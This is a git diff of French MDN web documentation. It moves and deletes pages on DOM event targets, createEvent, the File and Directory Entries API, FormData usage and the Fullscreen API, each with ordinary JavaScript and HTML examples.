- - 
-element.dispatchEvent(event)
-
-
event.currentTargetDOM Event InterfaceLa EventTarget (cible d'évènement) que les EventListeners traitent actuellement. Au fur et à mesure de la capture et de la diffusion des évènements, cette valeur change.
event.relatedTargetDOM MouseEvent InterfaceIdentifie une cible secondaire pour l'évènement.
event.explicitOriginalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} Si l'évènement a été reciblé pour quelque raison autre que  un passage de limite anonyme, il sera défini sur la cible avant le reciblage. Par exemple, les évènements de souris sont reciblés vers leur noeud parent quand ils surviennent sur des noeuds de texte ({{ Bug("185889") }}), et, dans ce cas, .target affichera le parent .explicitOriginalTarget et le noeud de texte.
- Contrairement à .originalTarget, .explicitOriginalTarget n'aura jamais de contenu anonyme.
event.originalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} La cible originale de l'évènement, avant tout reciblage. Voir Anonymous Content#Event_Flow_and_Targeting pour plus de détails.
- -

Utilisation de explicitOriginalTarget et originalTarget

- -

Problème : Seulement disponible dans un navigateur basé sur Mozilla ? Problème : Convient uniquement aux développeurs d'extensions ?

- -

Exemples

- -
<!DOCTYPE html>
-<html>
-<head>
-    <meta charset="utf-8">
-    <meta http-equiv="X-UA-Compatible" content="IE=edge">
-    <title>Comparison of Event Targets</title>
-    <style>
-        table {
-            border-collapse: collapse;
-            height: 150px;
-            width: 100%;
-        }
-        td {
-            border: 1px solid #ccc;
-            font-weight: bold;
-            padding: 5px;
-            min-height: 30px;
-        }
-        .standard {
-            background-color: #99ff99;
-        }
-        .non-standard {
-            background-color: #902D37;
-        }
-    </style>
-</head>
-<body>
-    <table>
-    <thead>
-        <tr>
-            <td class="standard">Original target dispatching the event <small>event.target</small></td>
-            <td class="standard">Target who's event listener is being processed <small>event.currentTarget</small></td>
-            <td class="standard">Identify other element (if any) involved in the event <small>event.relatedTarget</small></td>
-            <td class="non-standard">If there was a retargetting of the event for some reason <small> event.explicitOriginalTarget</small> contains the target before retargetting (never contains anonymous targets)</td>
-            <td class="non-standard">If there was a retargetting of the event for some reason <small> event.originalTarget</small> contains the target before retargetting (may contain anonymous targets)</td>
-        </tr>
-    </thead>
-    <tr>
-        <td id="target"></td>
-        <td id="currentTarget"></td>
-        <td id="relatedTarget"></td>
-        <td id="explicitOriginalTarget"></td>
-        <td id="originalTarget"></td>
-    </tr>
-</table>
-<p>Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target</p>
-<script>
-    function handleClicks(e) {
-        document.getElementById('target').innerHTML = e.target;
-        document.getElementById('currentTarget').innerHTML = e.currentTarget;
-        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
-        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
-        document.getElementById('originalTarget').innerHTML = e.originalTarget;
-    }
-
-    function handleMouseover(e) {
-        document.getElementById('target').innerHTML = e.target;
-        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
-    }
-
-    document.addEventListener('click', handleClicks, false);
-    document.addEventListener('mouseover', handleMouseover, false);
-</script>
-</body>
-</html>
- -

Utilisation de target et relatedTarget

- -

La propriété relatedTarget (cible associée) pour l'évènement mouseover  détient le noeud que la souris avait précédemment atteint. Pour l'évènement mouseout, il détient le noeud que la souris a déplacé à.

- - - - - - - - - - - - - - - - - - - -
Type d'évènementevent.targetevent.relatedTarget
mouseoverLa EventTarget (cible d'évènement) entré par le périphérique de pointage.La EventTarget (cible d'évènement) dont le périphérique de pointage est sorti.
mouseoutLa EventTarget (cible d'évènement) dont le périphérique de pointage est sorti.the EventTarget (cible d'évènement) entré par le périphérique de pointage.
- -

Problème : A également besoin de descriptions sur les évènements dragenter et dragexit.

- -

Exemple

- -
<hbox id="outer">
-  <hbox id="inner"
-        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' > ' + event.target.id + '\n');"
-        onmouseout="dump('mouseout  ' + event.target.id + ' > ' + event.relatedTarget.id + '\n');"
-        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" />
-</hbox>
-
- -

 

diff --git a/files/fr/web/api/event/comparison_of_event_targets/index.html b/files/fr/web/api/event/comparison_of_event_targets/index.html new file mode 100644 index 0000000000..f938d0cff5 --- /dev/null +++ b/files/fr/web/api/event/comparison_of_event_targets/index.html @@ -0,0 +1,168 @@ +--- +title: Comparaison des cibles d'évènements +slug: Web/API/Event/Comparaison_des_cibles_d_évènements +tags: + - Cibles + - DOM + - évènements +translation_of: Web/API/Event/Comparison_of_Event_Targets +--- +

{{ ApiRef() }}

+ +

Cibles d'évènements

+ +

Il est facile de s'interroger sur la cible à examiner lors de l'écriture d'un gestionnaire d'événements. Cet article devrait clarifier l'utilisation des propriétés de la cible.

+ +

Il y a 5 cibles à considérer :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéDéfinie dansObjectif
event.targetDOM Event Interface +

L'élément DOM sur le côté gauche de l'appel qui a déclenché cet événement, par exemple :

+ + 
+element.dispatchEvent(event)
+
+
event.currentTargetDOM Event InterfaceLa EventTarget (cible d'évènement) que les EventListeners traitent actuellement. Au fur et à mesure de la capture et de la diffusion des évènements, cette valeur change.
event.relatedTargetDOM MouseEvent InterfaceIdentifie une cible secondaire pour l'évènement.
event.explicitOriginalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} Si l'évènement a été reciblé pour quelque raison autre que  un passage de limite anonyme, il sera défini sur la cible avant le reciblage. Par exemple, les évènements de souris sont reciblés vers leur noeud parent quand ils surviennent sur des noeuds de texte ({{ Bug("185889") }}), et, dans ce cas, .target affichera le parent .explicitOriginalTarget et le noeud de texte.
+ Contrairement à .originalTarget, .explicitOriginalTarget n'aura jamais de contenu anonyme.
event.originalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} La cible originale de l'évènement, avant tout reciblage. Voir Anonymous Content#Event_Flow_and_Targeting pour plus de détails.
+ +

Utilisation de explicitOriginalTarget et originalTarget

+ +

Problème : Seulement disponible dans un navigateur basé sur Mozilla ? Problème : Convient uniquement aux développeurs d'extensions ?

+ +

Exemples

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <title>Comparison of Event Targets</title>
+    <style>
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    </style>
+</head>
+<body>
+    <table>
+    <thead>
+        <tr>
+            <td class="standard">Original target dispatching the event <small>event.target</small></td>
+            <td class="standard">Target who's event listener is being processed <small>event.currentTarget</small></td>
+            <td class="standard">Identify other element (if any) involved in the event <small>event.relatedTarget</small></td>
+            <td class="non-standard">If there was a retargetting of the event for some reason <small> event.explicitOriginalTarget</small> contains the target before retargetting (never contains anonymous targets)</td>
+            <td class="non-standard">If there was a retargetting of the event for some reason <small> event.originalTarget</small> contains the target before retargetting (may contain anonymous targets)</td>
+        </tr>
+    </thead>
+    <tr>
+        <td id="target"></td>
+        <td id="currentTarget"></td>
+        <td id="relatedTarget"></td>
+        <td id="explicitOriginalTarget"></td>
+        <td id="originalTarget"></td>
+    </tr>
+</table>
+<p>Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target</p>
+<script>
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+</script>
+</body>
+</html>
+ +

Utilisation de target et relatedTarget

+ +

La propriété relatedTarget (cible associée) pour l'évènement mouseover  détient le noeud que la souris avait précédemment atteint. Pour l'évènement mouseout, il détient le noeud que la souris a déplacé à.

+ + + + + + + + + + + + + + + + + + + +
Type d'évènementevent.targetevent.relatedTarget
mouseoverLa EventTarget (cible d'évènement) entré par le périphérique de pointage.La EventTarget (cible d'évènement) dont le périphérique de pointage est sorti.
mouseoutLa EventTarget (cible d'évènement) dont le périphérique de pointage est sorti.the EventTarget (cible d'évènement) entré par le périphérique de pointage.
+ +

Problème : A également besoin de descriptions sur les évènements dragenter et dragexit.

+ +

Exemple

+ +
<hbox id="outer">
+  <hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' > ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' > ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" />
+</hbox>
+
+ +

 

diff --git a/files/fr/web/api/event/createevent/index.html b/files/fr/web/api/event/createevent/index.html deleted file mode 100644 index 5cfbb7f05f..0000000000 --- a/files/fr/web/api/event/createevent/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Event.createEvent() -slug: Web/API/Event/createEvent -tags: - - API - - DOM - - Evènement - - Méthodes -translation_of: Web/API/Document/createEvent -translation_of_original: Web/API/Event/createEvent ---- -

{{APIRef("DOM")}}

- -

Crée un nouvel évènement, qui doit alors être initialisé en appelant sa méthode initEvent() .

- -

Syntaxe

- -
document.createEvent(type)
- -
-
type
-
Une chaîne de caractère indiquant le type de l'évènement à créer.
-
- -

Cette méthode renvoie un nouvel objet DOM {{ domxref("Event") }} du type spécifié, qui doit être initialisé avant utilisation.

- -

Exemple

- -
var newEvent = document.createEvent("UIEvents");
- -

Spécification

- - - -

Compatibilité des navigateurs

- - - -

{{Compat("api.Event.createEvent")}}

diff --git a/files/fr/web/api/file_and_directory_entries_api/index.html b/files/fr/web/api/file_and_directory_entries_api/index.html new file mode 100644 index 0000000000..8cef71b2fa --- /dev/null +++ b/files/fr/web/api/file_and_directory_entries_api/index.html @@ -0,0 +1,114 @@ +--- +title: API fichier système +slug: Web/API/API_fichier_systeme +translation_of: Web/API/File_and_Directory_Entries_API +--- +

{{DefaultAPISidebar("API fichier système")}}{{Non-standard_header()}}

+ +

L'API fichier système simule un fichier système en local que les applications web peuvent utiliser. Vous pouvez développer des applications qui lisent, écrivent, et créent des fichiers et/ou des dossiers dans un espace virtuel.

+ +

Deux API très simulaires existent en fonction du comportement asynchrone ou synchrone souhaité. L'API synchrone est prévu pour être utilisée dans un {{domxref("Worker")}} et retournera les valeurs recherchées. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.

+ +

API asynchrone

+ +

L'API asynchrone a les interfaces suivantes :

+ +
    +
  • LocalFileSystem a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystem() et resolveLocalFileSystemURL().  Les méthodes sont implémentées par l'objet window et le worker global scope.
    • +
  • FileSystem représente un fichier système. L'objet est la passerelle à votre API toute entière.
    • +
  • Entry représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier.
    • +
  • DirectoryEntry représente un dossier dans un fichier système.
    • +
  • DirectoryReader vous permet la lecture de fichiers et dossiers à partir d'un dossier.
    • +
  • FileEntry représente un fichier dans un fichier système.
    • +
  • FileError est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes asynchrones.
    • +
+ +

API synchrone

+ +

L'API synchrone est utile avec les WebWorkers. Contrairement à l'API asynchrone, l'API synchrone n'utilise pas les callbacks parce que les méthodes de l'API retournent des valeurs.

+ +
    +
  • LocalFileSystemSync a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystemSync() et resolveLocalFileSystemSyncURL(). Les méthodes sont implémentées par l'objet worker.
    • +
  • FileSystemSync représente un fichier système.
    • +
  • EntrySync représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier.
    • +
  • DirectoryEntrySync représente un dossier dans un fichier système.
    • +
  • DirectoryReaderSync  vous permet la lecture de fichiers et dossiers à partir d'un dossier.
    • +
  • FileEntrySync représente un fichier dans un fichier système.
    • +
  • FileException est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes synchrones.
    • +
+ +

Compatibilité navigateur

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
API asynchrone13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
API synchrone13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
API asynchrone{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
API synchrone{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Voir aussi

+ +
    +
  • Particularité : {{ spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "NOTE") }}
    • +
  • Commentaire Mozilla : Why no FileSystem API in Firefox?
    • +
diff --git a/files/fr/web/api/formdata/using_formdata_objects/index.html b/files/fr/web/api/formdata/using_formdata_objects/index.html new file mode 100644 index 0000000000..a64c8be0d0 --- /dev/null +++ b/files/fr/web/api/formdata/using_formdata_objects/index.html @@ -0,0 +1,145 @@ +--- +title: Utilisation des objets FormData +slug: Web/API/FormData/Utilisation_objets_FormData +tags: + - AJAX + - Blob + - File + - FormData + - Formulaires + - XHR + - XMLHttpRequest +translation_of: Web/API/FormData/Using_FormData_Objects +--- +

L’objet FormData vous permet de compiler un ensemble de paires clé/valeur à envoyer à l’aide de l’API XMLHttpRequest. Il est principalement destiné à l’envoi de données de formulaire, mais il peut également être utilisé indépendamment des formulaires pour transmettre des données indexées. Le format des données transmises est le même que celui qu’utiliserait la méthode {{domxref("HTMLFormElement.submit","submit()")}} du formulaire pour envoyer les données si l’encodage de ce dernier était défini sur multipart/form-data.

+ +

Création intégrale d’un objet FormData

+ +

Vous pouvez construire un objet FormData vous-même, en créer une instance, puis y ajouter des champs en appelant la méthode {{domxref("FormData.append","append()")}}, comme suit :

+ +
var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // le numéro 123456 est converti immédiatement en chaîne "123456"
+
+// fichier HTML choisi par l'utilisateur
+formData.append("userfile", fileInputElement.files[0]);
+
+// objet JavaScript de type fichier
+var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+
+ +
Remarque : les champs « userfile » et « webmasterfile » contiennent tous deux un fichier. Le numéro attribué au champ « accountnum » est immédiatement converti en chaîne par la méthode FormData.append() (la valeur du champ peut être un objet {{ domxref("Blob") }}, {{ domxref("File") }} ou une chaîne : s’il ne s’agit ni d’un objet Blob, ni d’un objet File, la valeur est convertie en chaîne).
+ +

Dans cet exemple, une instance FormData contenant les valeurs des champs « username », « accountnum », « userfile » et « webmasterfile » est créée, puis la méthode XMLHttpRequest send() est utilisée pour envoyer les données du formulaire. Le champ « webmasterfile » est un objet {{domxref("Blob")}}. Un objet Blob représente un objet-fichier de données brutes immuables. Les Blobs représentent des données qui ne sont pas nécessairement dans un format JavaScript natif. L’interface {{ domxref("File") }} se base sur l’objet Blob, elle en hérite les fonctionnalités et les étend pour prendre en charge les fichiers du système de l’utilisateur. Pour construire un Blob, vous pouvez invoquer le {{domxref("Blob.Blob","constructeur Blob()")}}.

+ +

Récupération d’un objet FormData dans un formulaire HTML

+ +

Pour construire un objet FormData contenant les données d’un élément HTML {{ HTMLElement("form") }} existant, spécifiez cet élément lors de la création de l’objet :

+ +
var formData = new FormData(someFormElement);
+
+ +

Par exemple :

+ +
var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+
+ +

Vous pouvez également ajouter des données supplémentaires à l’objet FormData entre sa récupération dans un formulaire et son envoi, comme suit :

+ +
var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);
+ +

Vous pouvez ainsi ajouter des données au formulaire avant de l’envoyer, pour y inclure des informations supplémentaires que les utilisateurs ne peuvent pas nécessairement modifier.

+ +

Envoi de fichiers via un objet FormData

+ +

L’objet FormData vous permet également d’envoyer des fichiers. Il vous suffit d’inclure un élément HTML {{ HTMLElement("input") }} de type file dans votre élément {{htmlelement("form")}} :

+ +
<form enctype="multipart/form-data" method="post" name="fileinfo">
+  <label>Votre adresse électronique :</label>
+  <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br />
+  <label>Étiquette du fichier personnalisé :</label>
+  <input type="text" name="filelabel" size="12" maxlength="32" /><br />
+  <label>Fichier à mettre de côté :</label>
+  <input type="file" name="file" required />
+  <input type="submit" value="Mettez le fichier de côté." />
+</form>
+<div></div>
+
+ +

Vous pouvez ensuite l’envoyer à l’aide du code suivant :

+ +
var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "Données supplémentaires");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Envoyé !";
+    } else {
+      oOutput.innerHTML = "Erreur " + oReq.status + " lors de la tentative d’envoi du fichier.<br \/>";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+
+ +
+

Remarque : si vous passez une référence dans le formulaire, la méthode spécifiée dans ce dernier sera utilisée au lieu de celle définie dans l’appel de la méthode open().

+
+ +

Vous pouvez également ajouter un objet {{ domxref("File") }} ou {{ domxref("Blob") }} directement dans l’objet {{ domxref("FormData") }} :

+ +
data.append("myfile", myBlob, "filename.txt");
+
+ +

Avec la méthode {{domxref("FormData.append","append()")}}, vous pouvez utiliser le troisième paramètre facultatif pour passer un nom de fichier dans l’en-tête Content-Disposition envoyé au serveur. Si aucun nom de fichier n’est spécifié (ou si le paramètre n’est pas pris en charge), le nom « blob » est utilisé.

+ +

Vous pouvez utiliser l’objet FormData avec jQuery si vous définissez les options appropriées :

+ +
var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "Données supplémentaires");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // dire à jQuery de ne pas traiter les données
+  contentType: false   // dire à jQuery de ne pas définir le contentType
+});
+
+ +

Envoi de formulaires et de fichiers via AJAX sans objet FormData

+ +

Si vous voulez en savoir plus sur la sérialisation des données  et l’envoi d’un formulaire via AJAX sans utiliser d’objets FormData, consultez ce paragraphe.

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/formdata/utilisation_objets_formdata/index.html b/files/fr/web/api/formdata/utilisation_objets_formdata/index.html deleted file mode 100644 index a64c8be0d0..0000000000 --- a/files/fr/web/api/formdata/utilisation_objets_formdata/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Utilisation des objets FormData -slug: Web/API/FormData/Utilisation_objets_FormData -tags: - - AJAX - - Blob - - File - - FormData - - Formulaires - - XHR - - XMLHttpRequest -translation_of: Web/API/FormData/Using_FormData_Objects ---- -

L’objet FormData vous permet de compiler un ensemble de paires clé/valeur à envoyer à l’aide de l’API XMLHttpRequest. Il est principalement destiné à l’envoi de données de formulaire, mais il peut également être utilisé indépendamment des formulaires pour transmettre des données indexées. Le format des données transmises est le même que celui qu’utiliserait la méthode {{domxref("HTMLFormElement.submit","submit()")}} du formulaire pour envoyer les données si l’encodage de ce dernier était défini sur multipart/form-data.

- -

Création intégrale d’un objet FormData

- -

Vous pouvez construire un objet FormData vous-même, en créer une instance, puis y ajouter des champs en appelant la méthode {{domxref("FormData.append","append()")}}, comme suit :

- -
var formData = new FormData();
-
-formData.append("username", "Groucho");
-formData.append("accountnum", 123456); // le numéro 123456 est converti immédiatement en chaîne "123456"
-
-// fichier HTML choisi par l'utilisateur
-formData.append("userfile", fileInputElement.files[0]);
-
-// objet JavaScript de type fichier
-var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
-var blob = new Blob([content], { type: "text/xml"});
-
-formData.append("webmasterfile", blob);
-
-var request = new XMLHttpRequest();
-request.open("POST", "http://foo.com/submitform.php");
-request.send(formData);
-
- -
Remarque : les champs « userfile » et « webmasterfile » contiennent tous deux un fichier. Le numéro attribué au champ « accountnum » est immédiatement converti en chaîne par la méthode FormData.append() (la valeur du champ peut être un objet {{ domxref("Blob") }}, {{ domxref("File") }} ou une chaîne : s’il ne s’agit ni d’un objet Blob, ni d’un objet File, la valeur est convertie en chaîne).
- -

Dans cet exemple, une instance FormData contenant les valeurs des champs « username », « accountnum », « userfile » et « webmasterfile » est créée, puis la méthode XMLHttpRequest send() est utilisée pour envoyer les données du formulaire. Le champ « webmasterfile » est un objet {{domxref("Blob")}}. Un objet Blob représente un objet-fichier de données brutes immuables. Les Blobs représentent des données qui ne sont pas nécessairement dans un format JavaScript natif. L’interface {{ domxref("File") }} se base sur l’objet Blob, elle en hérite les fonctionnalités et les étend pour prendre en charge les fichiers du système de l’utilisateur. Pour construire un Blob, vous pouvez invoquer le {{domxref("Blob.Blob","constructeur Blob()")}}.

- -

Récupération d’un objet FormData dans un formulaire HTML

- -

Pour construire un objet FormData contenant les données d’un élément HTML {{ HTMLElement("form") }} existant, spécifiez cet élément lors de la création de l’objet :

- -
var formData = new FormData(someFormElement);
-
- -

Par exemple :

- -
var formElement = document.querySelector("form");
-var request = new XMLHttpRequest();
-request.open("POST", "submitform.php");
-request.send(new FormData(formElement));
-
- -

Vous pouvez également ajouter des données supplémentaires à l’objet FormData entre sa récupération dans un formulaire et son envoi, comme suit :

- -
var formElement = document.querySelector("form");
-var formData = new FormData(formElement);
-var request = new XMLHttpRequest();
-request.open("POST", "submitform.php");
-formData.append("serialnumber", serialNumber++);
-request.send(formData);
- -

Vous pouvez ainsi ajouter des données au formulaire avant de l’envoyer, pour y inclure des informations supplémentaires que les utilisateurs ne peuvent pas nécessairement modifier.

- -

Envoi de fichiers via un objet FormData

- -

L’objet FormData vous permet également d’envoyer des fichiers. Il vous suffit d’inclure un élément HTML {{ HTMLElement("input") }} de type file dans votre élément {{htmlelement("form")}} :

- -
<form enctype="multipart/form-data" method="post" name="fileinfo">
-  <label>Votre adresse électronique :</label>
-  <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br />
-  <label>Étiquette du fichier personnalisé :</label>
-  <input type="text" name="filelabel" size="12" maxlength="32" /><br />
-  <label>Fichier à mettre de côté :</label>
-  <input type="file" name="file" required />
-  <input type="submit" value="Mettez le fichier de côté." />
-</form>
-<div></div>
-
- -

Vous pouvez ensuite l’envoyer à l’aide du code suivant :

- -
var form = document.forms.namedItem("fileinfo");
-form.addEventListener('submit', function(ev) {
-
-  var oOutput = document.querySelector("div"),
-      oData = new FormData(form);
-
-  oData.append("CustomField", "Données supplémentaires");
-
-  var oReq = new XMLHttpRequest();
-  oReq.open("POST", "stash.php", true);
-  oReq.onload = function(oEvent) {
-    if (oReq.status == 200) {
-      oOutput.innerHTML = "Envoyé !";
-    } else {
-      oOutput.innerHTML = "Erreur " + oReq.status + " lors de la tentative d’envoi du fichier.<br \/>";
-    }
-  };
-
-  oReq.send(oData);
-  ev.preventDefault();
-}, false);
-
- -
-

Remarque : si vous passez une référence dans le formulaire, la méthode spécifiée dans ce dernier sera utilisée au lieu de celle définie dans l’appel de la méthode open().

-
- -

Vous pouvez également ajouter un objet {{ domxref("File") }} ou {{ domxref("Blob") }} directement dans l’objet {{ domxref("FormData") }} :

- -
data.append("myfile", myBlob, "filename.txt");
-
- -

Avec la méthode {{domxref("FormData.append","append()")}}, vous pouvez utiliser le troisième paramètre facultatif pour passer un nom de fichier dans l’en-tête Content-Disposition envoyé au serveur. Si aucun nom de fichier n’est spécifié (ou si le paramètre n’est pas pris en charge), le nom « blob » est utilisé.

- -

Vous pouvez utiliser l’objet FormData avec jQuery si vous définissez les options appropriées :

- -
var fd = new FormData(document.querySelector("form"));
-fd.append("CustomField", "Données supplémentaires");
-$.ajax({
-  url: "stash.php",
-  type: "POST",
-  data: fd,
-  processData: false,  // dire à jQuery de ne pas traiter les données
-  contentType: false   // dire à jQuery de ne pas définir le contentType
-});
-
- -

Envoi de formulaires et de fichiers via AJAX sans objet FormData

- -

Si vous voulez en savoir plus sur la sérialisation des données  et l’envoi d’un formulaire via AJAX sans utiliser d’objets FormData, consultez ce paragraphe.

- -

Voir aussi

- - diff --git a/files/fr/web/api/fullscreen_api/index.html b/files/fr/web/api/fullscreen_api/index.html new file mode 100644 index 0000000000..76144c64f2 --- /dev/null +++ b/files/fr/web/api/fullscreen_api/index.html @@ -0,0 +1,301 @@ +--- +title: Utiliser le mode plein écran +slug: Web/Guide/DOM/Using_full_screen_mode +tags: + - API + - DOM + - Plein écran + - Tutoriel +translation_of: Web/API/Fullscreen_API +--- +

{{DefaultAPISidebar("Fullscreen API")}}

+ +

L'API Fullscreen (plein écran) fournit un moyen simple de présenter du contenu web en utilisant l'ensemble de l'écran de l'utilisateur. L'API vous permet de diriger facilement le navigateur pour faire en sorte qu'un élément et ses enfants, le cas échéant, occupent entièrement l'écran, éliminant toute l'interface utilisateur du navigateur et les autres applications de l'écran pendant ce temps.

+ +
Note : Pour le moment, tous les navigateurs n'utilisent pas la version non préfixée de cet API. Consultez le tableau récapitulant les préfixes et les différences de noms entre eux (vous pouvez également utiliser Fscreen pour l'accès du fournisseur à l'API).
+ +

Activation du mode plein écran

+ +

En partant d'un élément que vous aimeriez afficher en plein écran ({{ HTMLElement("video") }}, par exemple), vous pouvez le passer en mode plein écran simplement en appelant sa méthode {{ domxref("Element.requestFullscreen()") }} .

+ +

Prenons cet élément {{ HTMLElement("video") }} :

+ +
<video controls id="myvideo">
+  <source src="somevideo.webm"></source>
+  <source src="somevideo.mp4"></source>
+</video>
+
+ +

Nous pouvons mettre cet élément video en plein écran avec un script de cette façon :

+ +
var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+}
+ +

Différences de présentation

+ +

Il est important de savoir qu'il y a une différence clef entre les implémentations de Gecko et WebKit : Gecko ajoute automatiquement des règles CSS à l'élément afin qu'il remplisse l'écran : "width: 100%; height: 100%". WebKit ne fait pas ça ; à la place, il centre l'élément sans le redimensionner au milieu d'un écran noir. Pour obtenir le même comportement que Gecko dans WebKit, vous devez ajouter votre propre règle "width: 100%; height: 100%;" à l'élément :

+ +
#myvideo:-webkit-full-screen  {
+  width: 100%;
+  height: 100%;
+}
+
+ +

Dans l'autre sens, si vous essayez d'émuler le comportement de WebKit sur Gecko, vous devez placer l'élément que vous souhaitez présenter dans un autre élément, que vous mettrez en plein écran, et utiliser des règles CSS pour ajuster l'apparence de l'élément interne.

+ +

Notification

+ +

Quand le mode plein écran est activé, le document qui contient l'élément reçoit un événement de type   {{ event("fullscreenchange") }} . Lors de la sortie du mode plein écran, le document reçoit à nouveau l'événement  {{ event("fullscreenchange") }} . Notez que l'événement  en lui-même {{ event("fullscreenchange") }} ne fournit aucune information si le document est en train d'entrer ou de sortir du mode plein écran, mais si le document a une valeur non nulle {{ domxref("document.fullscreenElement", "fullscreenElement") }} , vous savez que vous êtes en mode plein écran.

+ +

Lorsqu'une demande de plein écran échoue

+ +

Il n'est pas garanti que vous soyez capable de passer en mode plein écran. Par exemple, les élements {{ HTMLElement("iframe") }} possèdent l'attribut  {{ HTMLAttrXRef("allowfullscreen", "iframe") }} pour permettre à leur contenu d'être affiché en mode plein écran. Certains contenus comme les greffons fenêtrés ne peuvent être représentés en plein écran. Essayer de placer un élément qui ne peut être affiché en mode plein écran (ou le parent ou le descendant d'un tel élément) ne marchera pas. A la place, l'élément qui a demandé le mode plein écran recevra un événement  mozfullscreenerror . Quand une demande de plein écran échoue, Firefox écrit un message d'erreur dans la console Web expliquant pourquoi la demande n'a pas pu aboutir. Dans Chrome et les versions plus récentes d'Opera, aucun avertissement de ce type n'est généré.

+ +
+

Note : Les requêtes de Fullscreen doivent être appelées depuis un gestionnaire d'évènements ou sinon, elles seront refusées.

+
+ +

Sortie du mode plein écran

+ +

L'utilisateur peut toujours sortir du mode plein écran quand il le désire ; voir {{ anch("Choses que vos utilisateurs doivent savoir") }}. Vous pouvez également le faire en appelant la méthode  {{domxref("Document.exitFullscreen()")}} .

+ +

Autres informations

+ +

Le {{ domxref("document") }} fournit des informations supplémentaires pouvant être utiles lorsque vous développez des applications web en plein écran :

+ +
+
{{ domxref("document.fullscreenElement", "fullscreenElement") }}
+
